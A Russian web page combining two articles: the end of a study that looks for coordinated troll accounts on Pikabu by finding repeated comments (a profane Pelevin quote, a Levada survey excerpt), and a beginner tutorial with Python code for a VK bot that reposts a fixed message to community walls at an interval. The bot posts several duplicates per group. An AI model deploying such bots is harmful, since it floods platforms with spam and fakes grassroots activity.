Интересная тенденция на Пикабу вырисовывается, последние пару дней замечаю все больше заплюсованых постов с негативным отношением к императору. Неужели фабрика троллей сбавила обороты и мы можем видеть реальные настроения в интернете?

Человек ищет следы фабрики троллей. Привет, коллега.

Идём дальше: 6 человек цитируют одну и туже книгу в разных темах - Осторожно, мат!!!
Strannik196,2018-03-21 23:53:00,
на мой взгляд здесь будет кстати цитата из Пелевина:"Так вот, уловка-22 заключается в следующем: какие бы слова ни произносились на политической сцене, сам факт появления человека на этой сцене доказывает, что перед нами блядь и провокатор. Потому что если бы этот человек не был блядью и провокатором, его бы никто на политическую сцену не пропустил там три кольца оцепления с пулемётами. Элементарно, Ватсон: если девушка сосёт хуй в публичном доме, из этого с высокой степенью вероятности следует, что перед нами проститутка. Я почувствовал обиду за свое поколение. Почему обязательно проститутка, сказал я. А может это белошвейка. Которая только вчера приехала из деревни. И влюбилась в водопроводчика, ремонтирующего в публичном доме душ. А водопроводчик взял её с собой на работу, потому что ей временно негде жить. И там у них выдалась свободная минутка.Самарцев поднял палец: Вот на этом невысказанном предположении и держится весь хрупкий механизм нашего молодого народовластия"

Fynjif18,2020-09-09 13:44:56,
Ну что же вы это прям по Пелевину. Правильно, сказал Самарцев. Так вот, уловка-22 заключается в следующем: какие бы слова ни произносились на политической сцене, сам факт появления человека на этой сцене доказывает, что перед нами блядь и провокатор. Потому что если бы этот человек не был блядью и провокатором, его бы никто на политическую сцену не пропустил там три кольца оцепления с пулеметами. Элементарно, Ватсон: если девушка сосет хуй в публичном доме, из этого с высокой степенью вероятности следует, что перед нами проститутка.

wakeonlan,2020-06-23 01:38:29,
уловка-22 заключается в следующем: какие бы слова ни произносились на политической сцене, сам факт появления человека на этой сцене доказывает, что перед нами б**дь и провокатор. Потому что если бы этот человек не был б**дью и провокатором, его бы никто на политическую сцену не пропустил там три кольца оцепления с пулеметами. Элементарно, Ватсон: если девушка сосет х*й в публичном доме, из этого с высокой степенью вероятности следует, что перед нами проститутка.

KKirill1992,2017-06-18 00:06:30,
Знаете, в книге Хеллера "Уловка-22" есть один персонаж по имени Орр. Так вот, он прикидывался идиотом, но только для того, чтобы спасти себе жизнь. Это я понимаю.Но вы-то с какой целью прикидываетесь идиотом в комментариях на пикабу? У вас что, за спиной стоит фсбшник с волыной?

nezabuddha,2018-11-01 15:29:56,
ru.m.wikipedia.org/wiki/Уловка-22 Нет. Пелевин лишь цитирует принцип, описанный гораздо раньше.

ihateyou,2016-09-19 02:52:14,
Так вот, уловка-22 заключается в следующем: какие бы слова ни произносились на политической сцене, сам факт появления человека на этой сцене доказывает, что перед нами блядь и провокатор. Потому что если бы этот человек не был блядью и провокатором, его бы никто на политическую сцену не пропустил там три кольца оцепления с пулеметами. Элементарно, Ватсон: если девушка сосет хуй в публичном доме, из этого с высокой степенью вероятности следует, что перед нами проститутка. Я почувствовал обиду за свое поколение. Почему обязательно проститутка, сказал я. А может это белошвейка. Которая только вчера приехала из деревни. И влюбилась в водопроводчика, ремонтирующего в публичном доме душ. А водопроводчик взял ее с собой на работу, потому что ей временно негде жить. И там у них выдалась свободная минутка. Самарцев поднял палец: Вот на этом невысказанном предположении и держится весь хрупкий механизм нашего молодого народовластияПелевин "Empire V"

Автор пытается донести до остальных данные о росте уровня поддержки СССР
EtovamneTo,2020-08-18 01:50:22,
Наверное то, что реальность противоположна твоим словам точно не потому что ты здесь откровенно врешь в надежде на то, что сонмы таких же малолетних пизд Совков тебя заплюсуют.По данным опроса Левады центра уровень поддержки СССР сильно вырос за два десятилетия. Сильнее всего у тех, кому сейчас 18-24 годаВне зависимости от того, как мы разбиваем совокупность респондентов, наиболее сильный рост поддержки от 2008-го к 2019-му году фиксируется в отношении двух позиций, характеризующих Советский Союз как государство социальной справедливости и патернализма. Наиболее заметные изменения в поддержке фиксируются в молодежной средеОдно из самых устойчивых представлений, характеризующих положение дел в Советском Союзе, это представление населения о дружбе народов, поддержка которого во всех трех опросах находилась на идентичном уровне. Уверенность в отсутствии межнациональных конфликтов всегда входила в тройку самых популярных суждений о СССР. При этом, например, вопросы о депортации народов в советский период давали высокую долю затруднившихся ответить до трети, что является свидетельством незнания этой страницы в истории своей страны (среди 18-24-летних более половины уходят от содержательного ответа на вопросы о депортациях). Если, напротив, обратиться к суждениям, заметно теряющим поддержку, то на первом месте среди них направляющая роль коммунистической партии (на 14 п.п.) и очереди, дефицит, карточки (на 18 п.п.).https://www.levada.ru/2019/06/24/chernovik/

EtovamneTo,2020-08-18 00:50:15,
Каждый раз, когда я кидаю пруфы, я получаю только тишину, оскорбления и демагогию от коммунистов, изучивших историю страны по выпускам Гоблина и пикабушечкам. Естественно, ни и какой культуре или адекватном уровне IQ речи там и нет.Вот вы посмотрите: комментатор выше ничем не подкрепляет свои слова. А теперь посмотрим это: По данным опроса Левады центра уровень поддержки СССР сильно вырос за два десятилетия. Сильнее всего у тех, кому сейчас 18-24 годаВне зависимости от того, как мы разбиваем совокупность респондентов, наиболее сильный рост поддержки от 2008-го к 2019-му году фиксируется в отношении двух позиций, характеризующих Советский Союз как государство социальной справедливости и патернализма. Наиболее заметные изменения в поддержке фиксируются в молодежной средеОдно из самых устойчивых представлений, характеризующих положение дел в Советском Союзе, это представление населения о дружбе народов, поддержка которого во всех трех опросах находилась на идентичном уровне. Уверенность в отсутствии межнациональных конфликтов всегда входила в тройку самых популярных суждений о СССР. При этом, например, вопросы о депортации народов в советский период давали высокую долю затруднившихся ответить до трети, что является свидетельством незнания этой страницы в истории своей страны (среди 18-24-летних более половины уходят от содержательного ответа на вопросы о депортациях). Если, напротив, обратиться к суждениям, заметно теряющим поддержку, то на первом месте среди них направляющая роль коммунистической партии (на 14 п.п.) и очереди, дефицит, карточки (на 18 п.п.).https://www.levada.ru/2019/06/24/chernovik/

EtovamneTo,2020-08-27 23:22:35,
Нет. Сейчас социалисты те самые малолетние дол*****(с). А это еще в статистику нельзя включать людей моложе 18 лет.По данным опроса Левады центра уровень поддержки СССР сильно вырос за два десятилетия. Сильнее всего у тех, кому сейчас 18-24 годаВне зависимости от того, как мы разбиваем совокупность респондентов, наиболее сильный рост поддержки от 2008-го к 2019-му году фиксируется в отношении двух позиций, характеризующих Советский Союз как государство социальной справедливости и патернализма. Наиболее заметные изменения в поддержке фиксируются в молодежной средеОдно из самых устойчивых представлений, характеризующих положение дел в Советском Союзе, это представление населения о дружбе народов, поддержка которого во всех трех опросах находилась на идентичном уровне. Уверенность в отсутствии межнациональных конфликтов всегда входила в тройку самых популярных суждений о СССР. При этом, например, вопросы о депортации народов в советский период давали высокую долю затруднившихся ответить до трети, что является свидетельством незнания этой страницы в истории своей страны (среди 18-24-летних более половины уходят от содержательного ответа на вопросы о депортациях). Если, напротив, обратиться к суждениям, заметно теряющим поддержку, то на первом месте среди них направляющая роль коммунистической партии (на 14 п.п.) и очереди, дефицит, карточки (на 18 п.п.).https://www.levada.ru/2019/06/24/chernovik/

EtovamneTo,2020-09-10 03:32:13,
Каких? что популярность тематики резко выросла? Погугли тег СССР с рейтингом выше 25.За август 2010 было 44 таких поста.За август 2020 было 274 таких поста.Или что среди молодежи? Да вотПо данным опроса Левады центра уровень поддержки СССР сильно вырос за два десятилетия. Сильнее всего у тех, кому сейчас 18-24 годаhttps://www.levada.ru/2019/06/24/chernovik/

EtovamneTo,2020-09-09 19:00:42,
По данным опроса Левады центра уровень поддержки СССР сильно вырос за два десятилетия. Сильнее всего у тех, кому сейчас 18-24 годаВне зависимости от того, как мы разбиваем совокупность респондентов, наиболее сильный рост поддержки от 2008-го к 2019-му году фиксируется в отношении двух позиций, характеризующих Советский Союз как государство социальной справедливости и патернализма. Наиболее заметные изменения в поддержке фиксируются в молодежной средеОдно из самых устойчивых представлений, характеризующих положение дел в Советском Союзе, это представление населения о дружбе народов, поддержка которого во всех трех опросах находилась на идентичном уровне. Уверенность в отсутствии межнациональных конфликтов всегда входила в тройку самых популярных суждений о СССР. При этом, например, вопросы о депортации народов в советский период давали высокую долю затруднившихся ответить до трети, что является свидетельством незнания этой страницы в истории своей страны (среди 18-24-летних более половины уходят от содержательного ответа на вопросы о депортациях). Если, напротив, обратиться к суждениям, заметно теряющим поддержку, то на первом месте среди них направляющая роль коммунистической партии (на 14 п.п.) и очереди, дефицит, карточки (на 18 п.п.).https://www.levada.ru/2019/06/24/chernovik/

Приведенные примеры находились на поверхности. Для выявления более тесных связей необходимо расширить набор данных на порядок, не только по количеству информации, но и по временным отрезкам. Это позволит более точно выявлять ключевые темы, вокруг которых строятся дискуссии, их инициаторов, анализировать временные метки событий и их корреляцию.
Но даже на таком наборе, при детальном ручном анализе, например рассмотрении одиночных связей можно найти что-то интересное, дающее почву для размышлений и дальнейшей работы.

GitHub

P.S. Обработка матрицы 140000 * 8800000 заняла примерно 7 минут на процессоре rayzen 5 1600

В дальнейшем планирую продолжать данную тему, буду рад критике и предложениям.
Подробнее..

Бот для автопостинга VK

27.09.2020 20:23:04 | Автор: admin
ВНИМАНИЕ: статья создана только в обучающих целях, я не призываю Вас использовать продукт полученный в конце урока для принесения неудобств или собственной выгоды


Что будем делать


Бота для автопостинга записей на стене сообщества или страницы Vk

Зачем


Для ознакомительных целей

Что нам понадобится




Начнем


Для работы нам понадобится токен с разрешениями wall и offline. Для получения токена создайте свое Standalone-приложение Vk. И сохраните его ID.

Далее перейдите по ссылке:
oauth.vk.com/authorize?client_id=IDAPP&scope=wall,offline&redirect_uri=http://api.vk.com/blank.html&response_type=token
И вместо IDAPP подставьте ID своего приложения. Или воспользуйтесь ссылкой, которую я подготовил специально для Вас.

Если все сделано правильно Вас перекинет на другой сайт, а в URL странице в GET параметре access_token будет токен, который нам и нужен, сохраняем его.

Работа XML


Для хранения настроек созданим файл формата .xml со следующем контентом:
<settings>  <token>token</token>  <textPost>Text post</textPost>  <interval>120</interval>    <post>    <attachments>      <attachment>attachment</attachment>    </attachments>    <copyright>copyright</copyright>    <v>5.122</v>  </post>    <groups>    <group>short name group</group>  </groups></settings>


Замените:
  • token на токен, который мы получили выше
  • Text post на сообщение, которое должно быть в записи
  • attachment на объект, который будет прикреплен к записи
  • copyright на ссылку источника
  • short name group на короткое имя(без vk.com) страницу сообщества/ пользователя, где будет проходить публикация(стена должна быть открытой для публикации)


Начнем писать код


Импортируем все нужные библиотеки, создадим экземпляр нашего модуля и авторизуемся во вконтакте от лица пользователя через токен.
import vk_apiimport timefrom modules import XML as moduleXmlXML = moduleXml.XML("settings")VK = vk_api.VkApi(token=XML.parsingFile("token"))


Далее получим все короткие адреса, где будут публиковаться записи.
import vk_apiimport timefrom modules import XML as moduleXmlXML = moduleXml.XML("settings")VK = vk_api.VkApi(token=XML.parsingFile("token"))groupsId = []groupsShortName = ""for child in XML.parsingFile("groups", False):    groupsShortName += child.text + ","for group in VK.method("groups.getById", {"group_ids": groupsShortName}):    groupsId.append(group["id"] * -1)del groupsShortName


Теперь получим сообщение, которое будет в записи, интервал, с которым будут публиковаться записи и источник записи.
import vk_apiimport timefrom modules import XML as moduleXmlXML = moduleXml.XML("settings")VK = vk_api.VkApi(token=XML.parsingFile("token"))groupsId = []groupsShortName = ""for child in XML.parsingFile("groups", False):    groupsShortName += child.text + ","for group in VK.method("groups.getById", {"group_ids": groupsShortName}):    groupsId.append(group["id"] * -1)del groupsShortNametextPost = XML.parsingFile("textPost")intervalPost = int(XML.parsingFile("interval"))


Теперь получим все объекты, которые будут прикреплены к записи.
import vk_apiimport timefrom modules import XML as moduleXmlXML = moduleXml.XML("settings")VK = vk_api.VkApi(token=XML.parsingFile("token"))groupsId = []groupsShortName = ""for child in XML.parsingFile("groups", False):    groupsShortName += child.text + ","for group in VK.method("groups.getById", {"group_ids": groupsShortName}):    groupsId.append(group["id"] * -1)del groupsShortNametextPost = XML.parsingFile("textPost")intervalPost = int(XML.parsingFile("interval"))attachments = [attachment.text for attachment in XML.parsingFile("attachments", False)]copyright = XML.parsingFile("copyright")v = XML.parsingFile("v")


У нас уже есть все данные, которые нам понадобятся для публикации. Осталось только сделать функцию для публикации и цикл, который будет вызывать функцию публикации.

Сначала сделаем цикл, а функцию оставим пустой. Так же код будет работать, только если будет запущен из консоли.

import vk_apiimport timefrom modules import XML as moduleXmlXML = moduleXml.XML("settings")VK = vk_api.VkApi(token=XML.parsingFile("token"))groupsId = []groupsShortName = ""for child in XML.parsingFile("groups", False):    groupsShortName += child.text + ","for group in VK.method("groups.getById", {"group_ids": groupsShortName}):    groupsId.append(group["id"] * -1)del groupsShortNametextPost = XML.parsingFile("textPost")intervalPost = int(XML.parsingFile("interval"))attachments = [attachment.text for attachment in XML.parsingFile("attachments", False)]copyright = XML.parsingFile("copyright")v = XML.parsingFile("v")done = Falsedef publicPosts():    passif __name__ == "__main__":    done = Truewhile done:    publicPosts()    time.sleep(intervalPost)


Чтобы публиковать запись будем вызвать метод API wall.post и передавать параметры получение раньше. Если все сработает правильно будет выводится соответствующее сообщение в консоль.

import vk_apiimport timefrom modules import XML as moduleXmlXML = moduleXml.XML("settings")VK = vk_api.VkApi(token=XML.parsingFile("token"))groupsId = []groupsShortName = ""for child in XML.parsingFile("groups", False):    groupsShortName += child.text + ","for group in VK.method("groups.getById", {"group_ids": groupsShortName}):    groupsId.append(group["id"] * -1)del groupsShortNametextPost = XML.parsingFile("textPost")intervalPost = int(XML.parsingFile("interval"))attachments = [attachment.text for attachment in XML.parsingFile("attachments", False)]copyright = XML.parsingFile("copyright")v = XML.parsingFile("v")done = Falsedef publicPosts():    for groupId in groupsId:        for i in range(1, 5):            result = VK.method("wall.post", {                "owner_id": groupId,                "message": textPost,                "attachments": attachments,                "copyright": copyright,                "v": v            })            if result["post_id"]:                print("Good post, id post - " + str(result["post_id"]))            else:                print("Error posting")if __name__ == "__main__":    done = Truewhile done:    publicPosts()    time.sleep(intervalPost)


Заключение


Вот и все, весь код готов. Скажу Вам сразу же мне 13 лет. И я хочу рассказать и поделиться тем, что я умею и считаю интересным для других. Так мою прошлую публикацию прочитали 2к+ человек, а 40 человек сохранили в закладки, хотя там и есть, что доработать. Это меня замотивировала, спасибо Вам большое.

Проект на gitHub.

ВНИМАНИЕ: статья создана только в обучающих целях, я не призываю Вас использовать продукт полученный в конце урока для принесения неудобств или собственной выгоды
Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru